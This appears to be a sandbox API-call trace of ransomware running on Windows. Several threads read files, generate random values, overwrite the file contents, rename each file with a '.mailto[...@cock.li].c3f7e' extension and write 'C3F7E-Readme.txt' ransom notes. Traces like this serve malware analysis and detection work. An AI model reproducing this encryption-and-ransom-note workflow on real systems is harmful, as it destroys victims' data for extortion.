	[0085.030] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47815a8
	[0085.030] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781800
	[0085.030] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781800) returned 1
	[0085.030] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04018) returned 1
	[0085.030] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb300) returned 1
	[0085.030] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x109) returned 0x2d62e78
	[0085.030] SetFilePointerEx (in: hFile=0x16d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.030] WriteFile (in: hFile=0x16d8, lpBuffer=0x2d62e78*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x18cbfdf0, lpOverlapped=0x0 | out: lpBuffer=0x2d62e78*, lpNumberOfBytesWritten=0x18cbfdf0*=0x109, lpOverlapped=0x0) returned 1
	[0085.031] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d62e78) returned 1
	[0085.032] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77db0) returned 1
	[0085.032] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47815a8) returned 1
	[0085.032] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d780b0) returned 1
	[0085.032] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47814b8) returned 1
	[0085.032] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781580) returned 1
	[0085.032] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781620) returned 1
	[0085.032] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813c8) returned 1
	[0085.032] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa6) returned 0x2d5dcf8
	[0085.032] wcscpy (in: _Dest=0x2d5dcf8, _Source="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html"
	[0085.032] wcscat (in: _Dest=0x2d5dcf8, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0085.032] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x18cbfda8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0085.032] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x4925f40
	[0085.032] NtSetInformationFile (FileHandle=0x16d8, IoStatusBlock=0x18cbfda0, FileInformation=0x4925f40, Length=0xbc, FileInformationClass=0xa) returned 0x0
	[0085.033] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4925f40) returned 1
	[0085.033] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481a198) returned 1
	[0085.033] NtQueryInformationFile (in: FileHandle=0x16d8, IoStatusBlock=0x18cbfdb4, FileInformation=0x18cbfd8c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x18cbfdb4, FileInformation=0x18cbfd8c) returned 0x0
	[0085.033] NtSetInformationFile (FileHandle=0x16d8, IoStatusBlock=0x18cbfdb4, FileInformation=0x18cbfd8c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0085.034] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5dcf8) returned 1
	[0085.034] FlushFileBuffers (hFile=0x16d8) returned 1
	[0085.035] CloseHandle (hObject=0x16d8) returned 1
	[0085.036] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x2e04018
	[0085.036] wcscpy (in: _Dest=0x2e04018, _Source="C:\\Program Files\\Java\\jre1.8.0_144\\" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\") returned="C:\\Program Files\\Java\\jre1.8.0_144\\"
	[0085.036] wcscat (in: _Dest=0x2e04018, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\C3F7E-Readme.txt") returned="C:\\Program Files\\Java\\jre1.8.0_144\\C3F7E-Readme.txt"
	[0085.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\C3F7E-Readme.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\c3f7e-readme.txt")) returned 0x20
	[0085.036] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04018) returned 1
	[0085.036] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4734088) returned 1

Thread:
	id = 661
	os_tid = 0x1980

	[0078.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb")) returned 0x20
	[0079.961] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB", dwFileAttributes=0x20) returned 1
	[0079.965] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x13c0
	[0079.965] GetFileSizeEx (in: hFile=0x13c0, lpFileSize=0x18d3f768 | out: lpFileSize=0x18d3f768*=15984) returned 1
	[0079.965] SetFilePointerEx (in: hFile=0x13c0, liDistanceToMove=0x3e6c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0079.965] ReadFile (in: hFile=0x13c0, lpBuffer=0x18d3f6ec, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18d3f6e8, lpOverlapped=0x0 | out: lpBuffer=0x18d3f6ec*, lpNumberOfBytesRead=0x18d3f6e8*=0x4, lpOverlapped=0x0) returned 1
	[0079.966] SetFilePointerEx (in: hFile=0x13c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0079.966] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47813a0
	[0079.966] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781788
	[0079.966] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781378
	[0079.966] NtQuerySystemTime (in: CurrentTime=0x18d3f6c8 | out: CurrentTime=0x18d3f6c8*=132251868067026364) returned 0x0
	[0079.966] RtlRandom (in: Seed=0x18d3f6d4 | out: Seed=0x18d3f6d4) returned 0xbe2b3947
	[0079.966] RtlRandom (in: Seed=0x18d3f6d4 | out: Seed=0x18d3f6d4) returned 0x9f2d8984
	[0079.966] RtlRandom (in: Seed=0x18d3f6d4 | out: Seed=0x18d3f6d4) returned 0x5f8d7dd0
	[0079.966] RtlRandom (in: Seed=0x18d3f6d4 | out: Seed=0x18d3f6d4) returned 0x151aba42
	[0079.966] RtlRandom (in: Seed=0x18d3f6d4 | out: Seed=0x18d3f6d4) returned 0xc896b98b
	[0079.966] RtlRandom (in: Seed=0x18d3f6d4 | out: Seed=0x18d3f6d4) returned 0x56e60add
	[0079.967] RtlRandom (in: Seed=0x18d3f6d4 | out: Seed=0x18d3f6d4) returned 0x5bc23960
	[0079.967] RtlRandom (in: Seed=0x18d3f6d4 | out: Seed=0x18d3f6d4) returned 0xb42d9288
	[0079.967] RtlRandom (in: Seed=0x18d3f6d4 | out: Seed=0x18d3f6d4) returned 0xf8ed7d1c
	[0079.967] RtlRandom (in: Seed=0x18d3f6d4 | out: Seed=0x18d3f6d4) returned 0x29bb6c2e
	[0079.967] RtlRandom (in: Seed=0x18d3f6d4 | out: Seed=0x18d3f6d4) returned 0x4bae1fd2
	[0079.967] RtlRandom (in: Seed=0x18d3f6d4 | out: Seed=0x18d3f6d4) returned 0x56551bd1
	[0079.967] RtlRandom (in: Seed=0x18d3f6d4 | out: Seed=0x18d3f6d4) returned 0x1b2626b9
	[0079.967] RtlRandom (in: Seed=0x18d3f6d4 | out: Seed=0x18d3f6d4) returned 0xba4bf050
	[0079.967] RtlRandom (in: Seed=0x18d3f6d4 | out: Seed=0x18d3f6d4) returned 0x4dfd328f
	[0079.967] RtlRandom (in: Seed=0x18d3f6d4 | out: Seed=0x18d3f6d4) returned 0x52b32569
	[0079.967] RtlRandom (in: Seed=0x18d3f6d4 | out: Seed=0x18d3f6d4) returned 0x6ef0cf31
	[0079.967] RtlRandom (in: Seed=0x18d3f6d4 | out: Seed=0x18d3f6d4) returned 0x155a253
	[0079.967] RtlRandom (in: Seed=0x18d3f6d4 | out: Seed=0x18d3f6d4) returned 0x60e6be88
	[0079.967] RtlRandom (in: Seed=0x18d3f6d4 | out: Seed=0x18d3f6d4) returned 0x4dd6a644
	[0079.967] RtlRandom (in: Seed=0x18d3f6d4 | out: Seed=0x18d3f6d4) returned 0x9fffeed5
	[0079.967] RtlRandom (in: Seed=0x18d3f6d4 | out: Seed=0x18d3f6d4) returned 0xffd6c797
	[0079.967] RtlRandom (in: Seed=0x18d3f6d4 | out: Seed=0x18d3f6d4) returned 0x2679a4ad
	[0079.967] RtlRandom (in: Seed=0x18d3f6d4 | out: Seed=0x18d3f6d4) returned 0x4005d799
	[0079.967] RtlRandom (in: Seed=0x18d3f6d4 | out: Seed=0x18d3f6d4) returned 0x53905117
	[0079.967] RtlRandom (in: Seed=0x18d3f6d4 | out: Seed=0x18d3f6d4) returned 0x9ba5c268
	[0079.967] RtlRandom (in: Seed=0x18d3f6d4 | out: Seed=0x18d3f6d4) returned 0xd12e8c73
	[0079.967] RtlRandom (in: Seed=0x18d3f6d4 | out: Seed=0x18d3f6d4) returned 0x87339c40
	[0079.967] RtlRandom (in: Seed=0x18d3f6d4 | out: Seed=0x18d3f6d4) returned 0x582027ca
	[0079.967] RtlRandom (in: Seed=0x18d3f6d4 | out: Seed=0x18d3f6d4) returned 0x7666b9
	[0079.967] RtlRandom (in: Seed=0x18d3f6d4 | out: Seed=0x18d3f6d4) returned 0xec47ea27
	[0079.967] RtlRandom (in: Seed=0x18d3f6d4 | out: Seed=0x18d3f6d4) returned 0xa6ed6e01
	[0079.974] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47817d8
	[0079.976] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753980
	[0079.976] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781530
	[0079.976] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753980) returned 1
	[0079.976] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781378) returned 1
	[0079.976] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47813a0) returned 1
	[0079.976] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb1e0
	[0079.976] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4754178
	[0079.976] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781850
	[0079.976] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781850) returned 1
	[0079.976] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f17820
	[0079.977] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4e34060
	[0079.980] ReadFile (in: hFile=0x13c0, lpBuffer=0x4f17820, nNumberOfBytesToRead=0x3e70, lpNumberOfBytesRead=0x18d3f6c4, lpOverlapped=0x0 | out: lpBuffer=0x4f17820*, lpNumberOfBytesRead=0x18d3f6c4*=0x3e70, lpOverlapped=0x0) returned 1
	[0079.982] SetFilePointerEx (in: hFile=0x13c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0079.982] WriteFile (in: hFile=0x13c0, lpBuffer=0x4e34060*, nNumberOfBytesToWrite=0x3e70, lpNumberOfBytesWritten=0x18d3f6c0, lpOverlapped=0x0 | out: lpBuffer=0x4e34060*, lpNumberOfBytesWritten=0x18d3f6c0*=0x3e70, lpOverlapped=0x0) returned 1
	[0084.597] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34578
	[0084.597] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e345a0
	[0084.598] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e345a0) returned 1
	[0084.598] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e34060) returned 1
	[0084.598] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f17820) returned 1
	[0084.598] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4754178) returned 1
	[0084.598] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb1e0) returned 1
	[0084.598] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x25) returned 0x2d780b0
	[0084.598] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34730) returned 1
	[0084.598] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x25) returned 0x2d77db0
	[0084.598] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e346b8
	[0084.598] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34500
	[0084.598] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34500) returned 1
	[0084.598] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04018) returned 1
	[0084.598] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb348) returned 1
	[0084.598] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x109) returned 0x4734d60
	[0084.598] SetFilePointerEx (in: hFile=0x13c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.598] WriteFile (in: hFile=0x13c0, lpBuffer=0x4734d60*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x18d3f728, lpOverlapped=0x0 | out: lpBuffer=0x4734d60*, lpNumberOfBytesWritten=0x18d3f728*=0x109, lpOverlapped=0x0) returned 1
	[0084.601] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4734d60) returned 1
	[0084.601] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77db0) returned 1
	[0084.601] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e346b8) returned 1
	[0084.601] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d780b0) returned 1
	[0084.601] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34578) returned 1
	[0084.601] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781788) returned 1
	[0084.601] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47817d8) returned 1
	[0084.601] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781530) returned 1
	[0084.601] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xae) returned 0x481a028
	[0084.601] wcscpy (in: _Dest=0x481a028, _Source="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" | out: _Dest="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB"
	[0084.601] wcscat (in: _Dest=0x481a028, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0084.601] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x18d3f6e0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0084.601] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc4) returned 0x4719530
	[0084.601] NtSetInformationFile (FileHandle=0x13c0, IoStatusBlock=0x18d3f6d8, FileInformation=0x4719530, Length=0xc4, FileInformationClass=0xa) returned 0x0
	[0084.602] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4719530) returned 1
	[0084.602] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4769c68) returned 1
	[0084.602] NtQueryInformationFile (in: FileHandle=0x13c0, IoStatusBlock=0x18d3f6ec, FileInformation=0x18d3f6c4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x18d3f6ec, FileInformation=0x18d3f6c4) returned 0x0
	[0084.602] NtSetInformationFile (FileHandle=0x13c0, IoStatusBlock=0x18d3f6ec, FileInformation=0x18d3f6c4, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0084.603] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481a028) returned 1
	[0084.603] FlushFileBuffers (hFile=0x13c0) returned 1
	[0084.608] CloseHandle (hObject=0x13c0) returned 1
	[0084.610] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x72) returned 0x47bd110
	[0084.610] wcscpy (in: _Dest=0x47bd110, _Source="C:\\Program Files\\Common Files\\DESIGNER\\" | out: _Dest="C:\\Program Files\\Common Files\\DESIGNER\\") returned="C:\\Program Files\\Common Files\\DESIGNER\\"
	[0084.610] wcscat (in: _Dest=0x47bd110, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Program Files\\Common Files\\DESIGNER\\C3F7E-Readme.txt") returned="C:\\Program Files\\Common Files\\DESIGNER\\C3F7E-Readme.txt"
	[0084.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\C3F7E-Readme.txt" (normalized: "c:\\program files\\common files\\designer\\c3f7e-readme.txt")) returned 0xffffffff
	[0084.610] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\C3F7E-Readme.txt" (normalized: "c:\\program files\\common files\\designer\\c3f7e-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13c0
	[0084.610] WriteFile (in: hFile=0x13c0, lpBuffer=0x2d7c938*, nNumberOfBytesToWrite=0x6f6, lpNumberOfBytesWritten=0x18d3f6e8, lpOverlapped=0x0 | out: lpBuffer=0x2d7c938*, lpNumberOfBytesWritten=0x18d3f6e8*=0x6f6, lpOverlapped=0x0) returned 1
	[0084.611] CloseHandle (hObject=0x13c0) returned 1
	[0084.611] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bd110) returned 1
	[0084.611] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d86b98) returned 1

Thread:
	id = 662
	os_tid = 0x1984

	[0078.194] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4c) returned 0x2daba28
	[0078.194] wcscpy (in: _Dest=0x2daba28, _Source="C:\\Windows10Upgrade\\resources\\amd64" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64") returned="C:\\Windows10Upgrade\\resources\\amd64"
	[0078.194] wcscat (in: _Dest=0x2daba28, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64\\") returned="C:\\Windows10Upgrade\\resources\\amd64\\"
	[0078.194] wcscat (in: _Dest=0x2daba28, _Source="*" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64\\*") returned="C:\\Windows10Upgrade\\resources\\amd64\\*"
	[0078.194] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47a3660
	[0078.194] FindFirstFileW (in: lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\*", lpFindFileData=0x47a3660 | out: lpFindFileData=0x47a3660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea398e53, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3a5195, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea3a652e, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477ab28
	[0085.275] wcscmp (_String1=".", _String2=".") returned 0
	[0085.275] FindNextFileW (in: hFindFile=0x477ab28, lpFindFileData=0x47a3660 | out: lpFindFileData=0x47a3660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea398e53, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3a5195, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea3a652e, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0085.275] wcscmp (_String1="..", _String2=".") returned 1
	[0085.275] wcscmp (_String1="..", _String2="..") returned 0
	[0085.275] FindNextFileW (in: hFindFile=0x477ab28, lpFindFileData=0x47a3660 | out: lpFindFileData=0x47a3660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea39b5b0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea39b5b0, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x16ebc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BiosBlocks.xml", cAlternateFileName="BIOSBL~1.XML")) returned 1
	[0085.275] wcscmp (_String1="BiosBlocks.xml", _String2=".") returned 1
	[0085.275] wcscmp (_String1="BiosBlocks.xml", _String2="..") returned 1
	[0085.275] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x66) returned 0x47ed5a0
	[0085.275] wcscpy (in: _Dest=0x47ed5a0, _Source="C:\\Windows10Upgrade\\resources\\amd64" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64") returned="C:\\Windows10Upgrade\\resources\\amd64"
	[0085.275] wcscat (in: _Dest=0x47ed5a0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64\\") returned="C:\\Windows10Upgrade\\resources\\amd64\\"
	[0085.276] wcscat (in: _Dest=0x47ed5a0, _Source="BiosBlocks.xml" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64\\BiosBlocks.xml") returned="C:\\Windows10Upgrade\\resources\\amd64\\BiosBlocks.xml"

Thread:
	id = 663
	os_tid = 0x1988

	[0078.196] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\hwcompatShared.txt" (normalized: "c:\\windows10upgrade\\resources\\hwcompatshared.txt")) returned 0x20
	[0082.009] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\hwcompatShared.txt", dwFileAttributes=0x20) returned 1
	[0085.257] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\hwcompatShared.txt" (normalized: "c:\\windows10upgrade\\resources\\hwcompatshared.txt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x16a0
	[0085.258] GetFileSizeEx (in: hFile=0x16a0, lpFileSize=0x18e3fd28 | out: lpFileSize=0x18e3fd28*=825371) returned 1
	[0085.258] SetFilePointerEx (in: hFile=0x16a0, liDistanceToMove=0xc9817, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.258] ReadFile (in: hFile=0x16a0, lpBuffer=0x18e3fcac, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18e3fca8, lpOverlapped=0x0 | out: lpBuffer=0x18e3fcac*, lpNumberOfBytesRead=0x18e3fca8*=0x4, lpOverlapped=0x0) returned 1
	[0085.259] SetFilePointerEx (in: hFile=0x16a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.259] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47814b8
	[0085.259] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47815a8
	[0085.259] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47817b0
	[0085.259] NtQuerySystemTime (in: CurrentTime=0x18e3fc88 | out: CurrentTime=0x18e3fc88*=132251868119995005) returned 0x0
	[0085.259] RtlRandom (in: Seed=0x18e3fc94 | out: Seed=0x18e3fc94) returned 0xa07090d5
	[0085.259] RtlRandom (in: Seed=0x18e3fc94 | out: Seed=0x18e3fc94) returned 0x6eee61a4
	[0085.259] RtlRandom (in: Seed=0x18e3fc94 | out: Seed=0x18e3fc94) returned 0xcbadcd6d
	[0085.259] RtlRandom (in: Seed=0x18e3fc94 | out: Seed=0x18e3fc94) returned 0xcd689f2f
	[0085.259] RtlRandom (in: Seed=0x18e3fc94 | out: Seed=0x18e3fc94) returned 0x3fad1b12
	[0085.259] RtlRandom (in: Seed=0x18e3fc94 | out: Seed=0x18e3fc94) returned 0xb96a5e7e
	[0085.259] RtlRandom (in: Seed=0x18e3fc94 | out: Seed=0x18e3fc94) returned 0x3e27a0bf
	[0085.260] RtlRandom (in: Seed=0x18e3fc94 | out: Seed=0x18e3fc94) returned 0xbf4fa82b
	[0085.260] RtlRandom (in: Seed=0x18e3fc94 | out: Seed=0x18e3fc94) returned 0xecd79dd5
	[0085.260] RtlRandom (in: Seed=0x18e3fc94 | out: Seed=0x18e3fc94) returned 0x965fbf2
	[0085.260] RtlRandom (in: Seed=0x18e3fc94 | out: Seed=0x18e3fc94) returned 0x5b483935
	[0085.260] RtlRandom (in: Seed=0x18e3fc94 | out: Seed=0x18e3fc94) returned 0x7df4ff08
	[0085.260] RtlRandom (in: Seed=0x18e3fc94 | out: Seed=0x18e3fc94) returned 0x2f79cf91
	[0085.260] RtlRandom (in: Seed=0x18e3fc94 | out: Seed=0x18e3fc94) returned 0xc08dad63
	[0085.260] RtlRandom (in: Seed=0x18e3fc94 | out: Seed=0x18e3fc94) returned 0x2b413f72
	[0085.260] RtlRandom (in: Seed=0x18e3fc94 | out: Seed=0x18e3fc94) returned 0x632f162d
	[0085.260] RtlRandom (in: Seed=0x18e3fc94 | out: Seed=0x18e3fc94) returned 0xcd4ac855
	[0085.260] RtlRandom (in: Seed=0x18e3fc94 | out: Seed=0x18e3fc94) returned 0x7422db69
	[0085.260] RtlRandom (in: Seed=0x18e3fc94 | out: Seed=0x18e3fc94) returned 0x4aad502e
	[0085.260] RtlRandom (in: Seed=0x18e3fc94 | out: Seed=0x18e3fc94) returned 0xb04578c8
	[0085.260] RtlRandom (in: Seed=0x18e3fc94 | out: Seed=0x18e3fc94) returned 0xf94c838c
	[0085.260] RtlRandom (in: Seed=0x18e3fc94 | out: Seed=0x18e3fc94) returned 0x95fb045f
	[0085.260] RtlRandom (in: Seed=0x18e3fc94 | out: Seed=0x18e3fc94) returned 0xd47ea7f1
	[0085.260] RtlRandom (in: Seed=0x18e3fc94 | out: Seed=0x18e3fc94) returned 0xe6b3af74
